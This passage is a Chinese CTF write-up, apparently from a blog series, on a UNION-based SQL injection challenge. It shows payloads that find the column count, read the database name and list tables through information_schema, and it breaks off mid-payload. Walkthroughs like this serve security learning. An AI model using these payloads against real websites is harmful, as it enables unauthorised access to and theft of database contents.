CTF---Web---SQL注入---11---注入列的选择与id的值

---

前言

题目分类：

CTF—Web—SQL注入—11—注入列的选择与id的值

---

一、题目描述

题目：SQL注入

二、解题步骤

1、尝试列数

Step1：尝试列数，1 union select 1,2,3,4#

列数为4列

1 union select 1,2,database(),4#

数据库名为：inject_05

2、爆表的两种方式

Step2：爆表

-1 union select 1,(select group_concat(table_name) from information_schema.tables where 	table_schema=database()),3,4#

-1 union select 1,2,group_concat(table_name),4 from infor